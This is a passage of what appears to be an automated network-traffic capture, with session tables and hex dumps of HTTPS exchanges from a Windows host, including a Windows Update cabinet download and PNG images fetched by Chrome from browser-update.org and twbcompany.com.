44 31 31 31 44 48 4a 43 4b 31 Data Ascii: 1000Ntt3N3u91w3KNr8l6rt3ZoSd2q9vOHCDp9uhbmD/ha2/Y1YW5uhviyMji2sq4tCfY5vJsw2ndpiaHtnPpzGS747lBhLuUtiv421F8qtZ4p9RmtmbWnCjtzA3p0tO6myz52kPhUkH92jeTZVJpqWDxwxFvqDRYrEHy7dRZcjDgSSnhSCPhQ0PhvVwicK7v6tHASEtunjtyXyyJVy3XxRTFPkAcY5+mRivpuhaFzoKBy39Sn0D111DHJCK1
2024-10-07 11:17:09 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 72 43 63 57 37 64 75 70 55 35 63 76 79 6c 76 2f 7a 79 43 2f 35 71 58 44 44 36 51 62 79 6f 76 66 71 6a 57 50 44 4e 4d 67 76 33 35 62 75 38 72 39 75 59 4a 4e 69 61 33 42 58 4f 54 33 59 77 79 33 51 30 7a 33 65 79 4c 46 70 6f 57 52 70 30 67 4f 5a 62 33 4e 44 6a 70 38 49 33 54 77 69 48 48 51 4e 67 35 54 64 50 6e 34 39 51 2f 6c 5a 38 63 7a 43 46 77 56 63 67 53 34 65 74 5a 42 6d 2f 73 5a 78 32 4a 6d 32 42 50 4d 74 4b 30 58 4b 4e 30 72 66 77 30 54 35 36 39 41 67 55 62 75 45 58 47 43 6f 6f 4b 46 43 50 2b 4f 6e 54 70 2f 46 4b 58 6c 34 65 79 4f 44 62 44 6f 6a 68 54 67 35 39 66 58 33 4d 67 41 4d 48 44 75 41 56 42 44 5a 73 6a 58 6d 52 77 51 69 6e 6e 52 72 56 71 31 65 76 77 50 30 57 74 62 70 77 34 51 4a 4f 4e 51 5a 72 33 47 4e 6a 59 32 4e 67 59 43 44 Data Ascii: 1000rCcW7dupU5cvylv/zyC/5qXDD6QbyovfqjWPDNMgv35bu8r9uYJNia3BXOT3Ywy3Q0z3eyLFpoWRp0gOZb3NDjp8I3TwiHHQNg5TdPn49Q/lZ8czCFwVcgS4etZBm/sZx2Jm2BPMtK0XKN0rfw0T569AgUbuEXGCooKFCP+OnTp/FKXl4eyODbDojhTg59fX3MgAMHDuAVBDZsjXmRwQinnRrVq1evwP0Wtbpw4QJONQZr3GNjY2NgYCD
2024-10-07 11:17:09 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 65 42 49 6d 39 74 2b 59 62 66 50 64 39 49 4b 59 59 6f 49 69 4c 39 49 71 36 67 46 47 73 66 42 49 50 79 63 5a 49 4e 4d 33 79 7a 51 37 6a 42 53 52 2b 44 59 78 37 76 48 58 4a 37 64 4a 38 75 46 47 72 48 64 31 2f 42 4b 6b 70 47 2f 69 64 38 6f 6b 6c 41 48 4a 49 70 35 4f 73 65 42 4d 2b 4a 58 4d 4c 4c 4e 4e 63 30 33 7a 54 69 34 59 73 4e 54 2f 6e 4f 43 76 46 2b 37 34 69 37 57 62 43 72 6e 4c 64 51 61 4d 32 58 6e 2f 51 57 72 71 57 47 79 50 2b 42 54 36 52 58 78 4c 6d 78 66 46 64 47 44 4b 70 2b 77 46 65 39 75 53 6d 4b 77 65 6c 46 37 35 33 30 6d 58 58 4d 63 31 61 41 71 44 4b 44 4c 68 52 71 77 58 66 66 69 32 2b 55 7a 39 67 54 45 55 30 71 34 73 7a 71 38 36 50 49 4c 38 62 4a 74 30 48 45 73 4a 47 43 68 2f 6e 4d 43 76 47 61 46 65 53 2b 50 6c 4a 45 46 62 6d Data Ascii: 1000eBIm9t+YbfPd9IKYYoIiL9Iq6gFGsfBIPycZINM3yzQ7jBSR+DYx7vHXJ7dJ8uFGrHd1/BKkpG/id8oklAHJIp5OseBM+JXMLLNNc03zTi4YsNT/nOCvF+74i7WbCrnLdQaM2Xn/QWrqWGyP+BT6RXxLmxfFdGDKp+wFe9uSmKwelF7530mXXMc1aAqDKDLhRqwXffi2+Uz9gTEU0q4szq86PIL8bJt0HEsJGCh/nMCvGaFeS+PlJEFbm
2024-10-07 11:17:09 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 39 76 48 45 6e 35 38 75 76 68 48 65 4e 4d 6d 44 37 65 75 4a 49 78 4f 75 58 51 48 2b 38 64 34 30 79 59 61 79 66 37 78 50 45 31 30 70 79 61 37 64 4e 59 4d 42 37 6f 37 48 30 55 79 59 57 66 69 48 34 6f 2f 50 31 31 38 49 37 78 71 64 52 68 58 38 51 2f 46 44 35 2b 75 76 5a 75 38 61 61 6a 53 66 69 49 34 6f 66 50 31 7a 37 4e 33 6a 54 4a 68 58 38 52 50 46 44 35 39 75 66 5a 75 38 61 5a 52 70 56 2f 45 54 78 51 2b 66 62 6e 32 62 76 47 6d 54 53 72 2b 49 72 69 68 38 2b 33 48 73 33 65 4e 4e 53 63 42 2b 38 58 78 51 70 2f 2b 64 75 50 5a 75 38 61 5a 4d 50 74 2f 68 33 71 4e 33 71 65 34 4f 37 6d 70 58 6b 68 6c 75 37 33 54 4c 4f 34 75 4a 54 74 64 4a 4c 41 78 37 6e 48 75 6b 71 71 58 51 6f 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 Data Ascii: 10009vHEn58uvhHeNMmD7euJIxOuXQH+8d40yYayf7xPE10pya7dNYMB7o7H0UyYWfiH4o/P118I7xqdRhX8Q/FD5+uvZu8aajSfiI4ofP1z7N3jTJhX8RPFD59ufZu8aZRpV/ETxQ+fbn2bvGmTSr+Irih8+3Hs3eNNScB+8XxQp/+duPZu8aZMPt/h3qN3qe4O7mpXkhlu73TLO4uJTtdJLAx7nHukqqXQoCAgICAgICAgICAgICAgICAgI
2024-10-07 11:17:09 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 4d 54 53 71 43 65 66 55 49 49 5a 51 32 54 54 35 41 78 31 41 4f 71 43 54 56 31 4b 69 68 50 6a 51 59 30 32 74 74 5a 46 4c 49 33 54 58 45 41 4e 4d 52 70 55 47 75 58 4d 48 55 72 51 6a 4d 67 6d 4f 72 32 5a 65 57 52 36 64 4d 38 67 6a 48 4a 6c 71 43 4b 31 36 31 4f 64 42 52 75 74 57 42 6d 5a 43 4c 47 51 53 53 4f 79 74 61 51 30 56 4f 58 4e 79 6e 76 49 4b 54 36 6d 59 70 6e 78 6e 54 69 30 55 71 78 7a 67 61 59 4d 44 6e 5a 38 6f 4e 4d 75 5a 42 62 4a 71 68 5a 4f 32 4d 57 4c 5a 57 39 71 47 53 53 4d 7a 46 6f 5a 6c 72 6e 72 54 6e 35 45 43 32 31 71 33 6b 67 59 2b 54 54 70 41 38 35 75 30 44 57 6b 68 70 42 49 41 78 70 57 71 43 61 44 55 49 35 34 35 6e 51 36 65 34 35 47 6b 74 72 51 41 45 4d 7a 41 4f 32 6e 48 6b 6f 45 45 4c 64 61 74 32 79 54 4e 6d 30 39 34 37 Data Ascii: 1000MTSqCefUIIZQ2TT5Ax1AOqCTV1KihPjQY02ttZFLI3TXEANMRpUGuXMHUrQjMgmOr2ZeWR6dM8gjHJlqCK161OdBRutWBmZCLGQSSOytaQ0VOXNynvIKT6mYpnxnTi0UqxzgaYMDnZ8oNMuZBbJqhZO2MWLZW9qGSSMzFoZlrnrTn5EC21q3kgY+TTpA85u0DWkhpBIAxpWqCaDUI545nQ6e45GktrQAEMzAO2nHkoEELdat2yTNm0947
2024-10-07 11:17:09 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 41 79 57 72 5a 4d 7a 32 73 47 77 46 39 52 6a 52 65 6c 48 34 62 78 5a 6a 6a 57 66 6d 34 39 56 2b 6d 48 52 78 63 4f 39 33 77 34 6c 7a 70 47 67 69 68 4a 6e 63 63 46 45 66 68 50 45 6a 2f 57 33 7a 6c 54 58 75 39 34 57 4e 34 62 62 6b 74 6b 77 64 4b 36 6d 30 68 37 33 55 38 4b 74 2b 70 38 66 30 7a 38 35 58 31 58 37 78 38 6b 63 6e 44 76 63 70 7a 6e 5a 50 4f 58 4e 70 51 74 7a 4f 70 55 64 46 56 65 50 78 6d 78 36 5a 2b 63 6b 32 76 33 6a 35 4c 59 74 78 64 32 62 52 6a 68 62 75 6d 47 62 6e 63 53 50 52 4b 6d 66 78 50 6a 54 7a 72 50 2f 41 4e 55 71 2b 35 75 52 31 6a 35 49 4a 64 30 64 32 32 50 44 6e 6d 63 31 38 73 4e 49 46 52 7a 55 4a 54 39 50 34 33 53 73 2f 4e 4d 62 32 35 33 6a 35 49 6e 61 44 75 62 62 6a 4a 62 57 64 32 30 62 51 37 74 78 68 33 6c 54 39 4a Data Ascii: 1000AyWrZMz2sGwF9RjRelH4bxZjjWfm49V+mHRxcO93w4lzpGgihJnccFEfhPEj/W3zlTXu94WN4bbktkwdK6m0h73U8Kt+p8f0z85X1X7x8kcnDvcpznZPOXNpQtzOpUdFVePxmx6Z+ck2v3j5LYtxd2bRjhbumGbncSPRKmfxPjTzrP/ANUq+5uR1j5IJd0d22PDnmc18sNIFRzUJT9P43Ss/NMb253j5InaDubbjJbWd20bQ7txh3lT9J
2024-10-07 11:17:09 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 49 50 58 34 37 4f 5a 62 62 4f 78 45 32 69 59 6a 71 34 64 2f 65 74 46 5a 69 65 65 48 72 33 47 66 68 64 76 48 76 42 76 63 7a 58 64 47 6a 62 4f 59 37 52 6b 4c 6f 77 35 6f 6b 44 6f 79 34 67 67 45 34 2b 56 67 74 76 4d 70 75 54 75 63 49 7a 58 44 78 36 52 47 48 67 32 38 75 68 36 74 6f 45 78 67 31 61 32 6b 73 35 33 31 49 62 4c 48 32 62 6a 79 4f 49 63 4e 75 48 4d 73 59 7a 6e 45 78 68 61 30 54 48 4a 6a 61 44 72 31 72 70 72 70 47 75 74 37 61 39 68 65 34 56 62 63 56 42 42 35 4f 73 30 34 64 39 64 65 7a 76 65 33 50 47 75 70 68 61 6c 37 78 6a 4c 30 36 77 34 79 62 76 67 52 32 31 35 42 4a 70 38 6a 52 6c 79 75 4f 61 4d 55 48 49 37 61 76 5a 32 66 7a 46 4d 63 61 34 65 54 75 66 6a 62 5a 7a 6e 4c 71 4c 4c 65 54 54 39 53 67 45 39 6e 4f 79 56 68 32 30 49 71 4f Data Ascii: 1000IPX47OZbbOxE2iYjq4d/etFZieeHr3GfhdvHvBvczXdGjbOY7RkLow5okDoy4ggE4+VgtvMpuTucIzXDx6RGHg28uh6toExg1a2ks531IbLH2bjyOIcNuHMsYznExha0THJjaDr1rprpGut7a9he4VbcVBB5Os04d9dezve3PGuphal7xjL06w4ybvgR215BJp8jRlyuOaMUHI7avZ2fzFMca4eTufjbZznLqLLeTT9SgE9nOyVh20IqO
2024-10-07 11:17:09 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 61 34 6e 6f 43 43 36 4e 34 59 38 50 79 68 39 4e 6a 58 59 69 76 4a 55 49 4c 70 4c 69 53 56 67 45 76 58 65 44 55 53 48 79 71 48 31 50 63 51 61 44 65 4c 39 70 44 33 44 36 61 44 54 6f 50 30 71 34 54 2f 77 75 33 52 2f 30 61 77 2f 35 5a 69 44 71 6b 42 41 51 45 42 41 51 45 42 41 51 45 42 41 51 45 42 41 51 45 42 41 51 45 42 41 51 45 42 41 51 45 42 41 51 45 42 41 51 45 42 41 51 45 42 41 51 45 42 41 51 45 42 41 51 45 42 41 51 45 42 41 51 45 42 42 2b 64 66 48 37 2b 4d 75 39 6e 2b 65 64 2b 6f 31 42 35 2b 67 37 43 48 39 6a 48 2b 69 33 30 6b 46 36 41 67 49 4b 74 38 70 76 64 48 70 71 61 38 34 52 62 6c 50 38 4f 6c 45 44 53 56 39 55 2b 4f 31 53 76 38 41 4e 33 44 6b 71 70 68 47 70 55 51 46 57 68 58 55 76 45 4a 43 6c 57 62 4a 57 78 46 53 72 4e 6b 6a 59 75 Data Ascii: 1000a4noCC6N4Y8Pyh9NjXYivJUILpLiSVgEvXeDUSHyqH1PcQaDeL9pD3D6aDToP0q4T/wu3R/0aw/5ZiDqkBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBB+dfH7+Mu9n+ed+o1B5+g7CH9jH+i30kF6AgIKt8pvdHpqa84RblP8OlEDSV9U+O1Sv8AN3DkqphGpUQFWhXUvEJClWbJWxFSrNkjYu
2024-10-07 11:17:09 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 4b 38 69 61 7a 51 76 45 48 51 6d 70 62 51 76 46 73 6d 70 4f 68 65 4c 62 6f 55 61 6b 36 56 77 74 65 68 4e 52 70 58 65 62 64 43 61 6c 74 43 34 57 77 35 6c 45 32 4e 4b 34 57 79 61 6b 36 45 6a 4c 4f 72 61 34 55 48 4f 56 57 62 72 52 74 72 32 32 77 35 68 33 55 31 4a 30 4a 6d 32 30 65 77 31 72 30 4b 75 70 62 53 75 38 32 48 49 45 31 47 6c 55 57 35 35 6b 31 4a 30 72 78 62 6b 38 69 6a 55 74 70 58 4e 74 71 38 69 6a 55 6e 51 6b 62 61 6e 6d 55 61 30 36 55 67 74 54 7a 4b 4e 53 32 68 64 35 71 65 5a 52 71 57 30 72 78 61 39 43 6a 57 74 46 56 66 4e 54 7a 4b 4e 61 30 55 58 69 7a 4b 72 72 61 52 74 71 2b 5a 4a 72 54 37 53 33 7a 54 6f 54 57 65 30 47 31 77 32 4a 72 56 39 74 59 62 62 6f 55 36 6c 64 43 77 77 45 34 55 77 54 55 72 6f 57 47 33 50 4d 70 31 49 30 72 Data Ascii: 1000K8iazQvEHQmpbQvFsmpOheLboUak6VwtehNRpXebdCaltC4Ww5lE2NK4Wyak6EjLOra4UHOVWbrRtr22w5h3U1J0Jm20ew1r0KupbSu82HIE1GlUW55k1J0rxbk8ijUtpXNtq8ijUnQkbanmUa06UgtTzKNS2hd5qeZRqW0rxa9CjWtFVfNTzKNa0UXizKrraRtq+ZJrT7S3zToTWe0G1w2JrV9tYbboU6ldCwwE4UwTUroWG3PMp1I0r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49825	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:06 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=es9pCcgFWrmLRaz&MD=raKnuGEA HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-07 11:17:07 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: eb791595-07a5-499b-a127-04fcd4aa9f32 MS-RequestId: 6c403e62-1b52-4400-9216-4ab2bf7bfaf2 MS-CV: 0i9g9SNfsEuHyKn1.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 07 Oct 2024 11:17:06 GMT Connection: close Content-Length: 24490
2024-10-07 11:17:07 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-07 11:17:07 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49832	104.26.12.241	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:06 UTC	364	OUT	GET /static/img/small/c.png HTTP/1.1 Host: browser-update.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:07 UTC	673	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:07 GMT Content-Type: image/png Content-Length: 787 Connection: close Cache-Control: max-age=86400 content-disposition: inline; filename=c.png last-modified: Sun, 21 Mar 2021 12:19:17 GMT CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3MK3t5i8qj8LOspdYM8SyE9Ya5KxyBoKcJ7lCP1watyIdoK90XZAo%2B8yYgAQjJ5R%2BPsoAKr1PWxvSoP03NO29QWtI1Pp7O9pScoLzLu8HntNlWQiXnyNCcNv71CwYMrBPzy4nQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ced7b9ecfd65e71-EWR
2024-10-07 11:17:07 UTC	696	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 01 ad 50 4c 54 45 00 00 00 45 bc 4a fd d2 08 ef 68 57 ef 67 57 37 8b 40 ee 61 51 eb b8 1b 37 a9 46 39 8d 41 ec 5e 50 ec 5e 50 fc d2 09 fc d2 09 ff bd 15 7a a0 34 42 a3 45 46 aa 46 e8 b1 20 1c 88 47 40 9d 44 49 af 47 e7 b3 1e fa cf 0a ea 52 47 ff ef 01 e2 ae 23 e2 ae 22 ec bc 19 ea 51 47 ef 67 56 3d 97 42 e2 27 46 38 89 41 4c b6 48 39 90 41 ec 5b 4e c5 55 3e 37 89 41 f0 b8 15 ed 64 54 ee 63 53 e9 51 47 fd d3 09 ff d2 01 ec 5c 4f e4 2a 47 40 9d 44 3c 96 42 3e 81 b6 42 a2 44 3f 9a 44 3a 91 41 e7 47 40 f7 c7 0f 54 91 c2 44 71 be 00 4e a1 0b 5d 9a f1 8f 8b 85 c9 73 ec 5d 4f 33 ce 4e 47 ab 46 2d a4 2d 2c 9e 2b ea 77 24 ea 76 23 e9 b8 1c ea 25 1c fd d4 07 fe Data Ascii: PNGIHDR(-SPLTEEJhWgW7@aQ7F9A^P^Pz4BEFF G@DIGRG#"QGgV=B'F8ALH9A[NU>7AdTcSQG\O*G@D<B>BD?D:AG@TDqN]s]O3NGF--,+w$v#%
2024-10-07 11:17:07 UTC	91	IN	Data Raw: 38 0c 8c f5 8b 1c 6d 12 e3 6d fa 74 b4 bb cd d8 19 18 94 4d 80 42 35 0e 65 3d 9e 9d 66 ed 32 20 a7 b2 9a 18 18 e8 67 97 ea 98 b5 b9 88 41 3c a3 c8 69 52 90 d3 d4 e5 d2 28 0d f3 ae 1a ab 30 3f 9f 90 14 3b 88 0d 00 48 2f 34 ff 10 a6 ea 05 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: 8mmtMB5e=f2 gA<iR(0?;H/4IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49835	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:07 UTC	570	OUT	GET /2016/wp-content/uploads/2015/08/FSW-machine-landing-pg-option-3.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0
2024-10-07 11:17:08 UTC	235	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:08 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 12 Feb 2018 15:38:01 GMT Accept-Ranges: bytes Content-Length: 4140692 Content-Type: image/png
2024-10-07 11:17:08 UTC	7957	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 80 00 00 04 38 08 06 00 00 00 e8 d3 c1 43 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 ff a5 49 44 41 54 78 5e b4 fd 69 48 5d d9 da f7 8d de a9 bd 0b aa 52 95 10 12 8c a2 88 8a 0d a8 b8 d6 42 50 51 14 11 15 45 41 45 51 41 d6 62 b9 16 b8 d4 85 62 83 0d 2a 76 88 3d d8 24 24 a4 21 0d 09 a9 34 90 a6 92 22 a9 84 84 f4 c4 74 a4 93 24 a6 af aa 5d b5 ab 76 ed 5d cf fd be f7 fb 1c ce 79 df 0f ff 73 fd af e9 58 59 49 65 df cf 79 3e 9c 0f 7f c6 98 63 f6 63 8e 39 e6 18 f3 37 ae 6b fc 47 45 69 0a 4a 8a 12 51 98 17 8b fc 9c 68 14 e4 c6 e8 72 59 a9 1d 55 95 e9 28 2f 4b 47 71 91 0d 99 59 f1 70 a4 46 21 2e Data Ascii: PNGIHDR8CsRGBgAMAapHYsodIDATx^iH]RBPQEAEQAbb*v=$$!4"t$]v]ysXYIey>cc97kGEiJQhrYU(/KGqYpF!.
2024-10-07 11:17:08 UTC	8000	IN	Data Raw: 57 23 52 5f 0d e2 d5 8b 51 bc 7d 31 26 ef e3 6a b8 32 8c b7 cf 87 14 00 bf 79 2a ef 6e 30 00 96 fa c2 02 9a 9f 00 c0 8f 9a 02 fa 14 00 7e f2 a0 09 f7 ef 70 30 4d a3 d4 a3 7e 6b 70 c9 a3 b6 0f f5 50 ea 1d d6 c9 ab 10 98 e0 f7 f5 72 c7 aa e4 1a e4 5a 56 1e 75 4a 7d ee c7 fd 5b 8d b8 77 b3 09 4b d7 9b 70 eb 5a a3 c2 60 05 c2 d7 fd b8 75 b5 05 b7 24 bc 7e ad 59 75 e3 86 6c 27 eb ee dd 6e c5 f2 a3 9e 55 f8 db 85 a7 0f da f0 ec 91 d4 dd 4f e4 be 9e 4a 9d f8 8c 83 5b a4 be 24 10 26 00 96 73 12 fe be 15 bd 7a dc 86 57 72 9f d4 9b e5 36 51 0b de 3d 63 d8 ac 7a 2d 7a f5 a4 49 43 ae fb 58 6f 9f fa 65 5d a3 6c e3 53 31 ce fd 7e 90 3a f1 87 e7 72 de c7 52 47 3f 90 6b bb dd 8b 27 37 fb 70 fb 52 37 ae 9e 6e c7 b7 df 34 e1 d8 de 46 05 c1 07 b7 35 62 d7 6c 3d b6 4f b8 30 Data Ascii: W#R_Q}1&j2y*n0~p0M~kpPrZVuJ}[wKpZ`u$~Yul'nUOJ[$&szWr6Q=cz-zICXoe]lS1~:rRG?k'7pR7n4F5bl=O0
2024-10-07 11:17:08 UTC	8000	IN	Data Raw: f0 f8 6a b6 82 60 5a 03 2f 5f 4b c3 d3 1b a9 12 26 e1 c9 d5 38 3c ba 18 89 fb df 87 e0 e9 b5 48 bc 5c 8a c7 eb bb b4 fa 4d c6 3b b5 fe b5 60 aa ea 7e 2c 68 a1 ab f0 97 90 77 d5 ba d7 82 b9 b1 7f 12 ad 6b 3f 25 0b ba 5a 71 5a e1 72 99 00 98 c7 b4 2c 80 63 56 01 f0 87 00 97 d6 bb 8c 73 5d c0 ca 57 ae 8b f0 97 fb 31 34 30 58 21 f5 ea be 6a f5 bb 14 2a d7 49 00 6c c1 5f 03 80 ad eb e0 f5 d2 6d 32 af c3 92 b9 4e 6e 13 00 c5 ab fb e9 b5 ae de 7b 40 0a 80 25 14 19 0b df 8f 97 5f 3f 4c 94 90 56 bf 92 c7 12 37 7a 71 3f 0e 2b f7 24 9f 1f d8 f0 fa 7e 0a 5e dd 4b c6 cb bb 92 7e 27 41 af eb 4f 16 c0 ab 10 f8 a9 3c 2b 03 83 55 41 70 f7 03 00 1c 0c 7c 83 b6 09 86 bf 5c 26 fc fd 77 00 98 16 be 4f 3f 01 80 4d 1a e1 f9 f2 8d 28 3c be 12 8d 07 17 a9 58 51 bc 82 60 42 60 5a Data Ascii: j`Z/_K&8<H\M;`~,hwk?%ZqZr,cVs]W140X!j*Il_m2Nn{@%_?LV7zq?+$~^K~'AO<+UAp\|\&wO?M(<XQ`B`Z
2024-10-07 11:17:08 UTC	8000	IN	Data Raw: fb dc 8e b9 5d f3 e0 9c e7 f4 02 41 00 1c 97 9e 88 78 e9 0f 50 89 d2 37 88 95 7e 41 74 ba b4 ed 24 4c c8 4e d2 1f 1c fc 61 93 5d 28 df be b2 38 9d de c4 e7 4a 40 8b 74 cc fc ce 75 d2 b9 0b c5 fe 79 69 f3 ec ce 0e 00 e0 ef 76 a5 e3 d0 74 3c 16 fa 42 30 d1 be 41 2d 80 0d 00 e6 60 28 5a 00 27 24 ad d7 51 c7 71 49 f1 da de dc 1c 9b 84 4d ab 16 c0 66 b4 34 3b cf c1 23 aa 3f 06 c0 a6 a3 1d dc 09 37 22 c8 35 80 38 38 fe 71 a7 9d b0 d7 58 f6 7e 1c 7e 1d 67 cd 21 4c d8 cb 11 e3 a1 29 4c 7f 0f 80 d7 c7 70 2e 29 8e 08 cf 42 48 3c ad 81 b3 25 6e cd 17 45 ef 39 6c 33 eb 08 ff c4 cd ea a2 6e f7 ee 3e 3c b8 7f 00 2f 57 8e 62 f9 c9 0e ac 3c df 29 e1 24 5e bf 98 c1 ca b3 11 bc 78 d6 fb 27 00 6c dc 1f 07 c3 5f 23 c2 de 00 04 5e d5 07 00 98 fa 37 10 38 18 74 1a 00 6a f4 f1 Data Ascii: ]AxP7~At$LNa](8J@tuyivt<B0A-`(Z'$QqIMf4;#?7"588qX~~g!L)Lp.)BH<%nE9l3n></Wb<)$^x'l_#^78tj
2024-10-07 11:17:08 UTC	8000	IN	Data Raw: 91 5d 99 38 b6 33 4d a7 25 d8 bf cd 86 f9 a9 18 b4 b6 7e 8e ea ba 35 28 ad 5e 83 ec 92 cf 3e 00 c0 a9 e5 29 1f 01 e0 32 75 27 4c a0 d9 d4 d9 a0 1d 5d ce 2b 5e db 54 23 df f2 3f 03 60 86 26 7f 0c f4 a5 4c dc e4 3d 97 cd f3 60 9c 69 5c 47 30 4c eb e0 e0 7d 99 ce 6d f9 0c cd b3 64 9e 32 af 18 32 ef 08 7b 4d 68 20 3c 65 f2 99 62 ba 01 c0 c1 cf ca ac a7 b8 8e c7 e4 3a 73 3e 5e 23 cb 0a e3 2c 2b 8c f3 7a b8 1c 0c 80 29 ae 23 00 a6 f5 b6 b1 ee 35 f3 46 7d 0c 80 f9 7c cd 36 04 c0 fc 61 67 00 b0 5a f7 3a 38 c2 34 56 43 03 83 8d f5 2f 3b 1c ec 94 44 24 72 9a 8f 58 a4 17 e6 c8 f1 a4 f3 b6 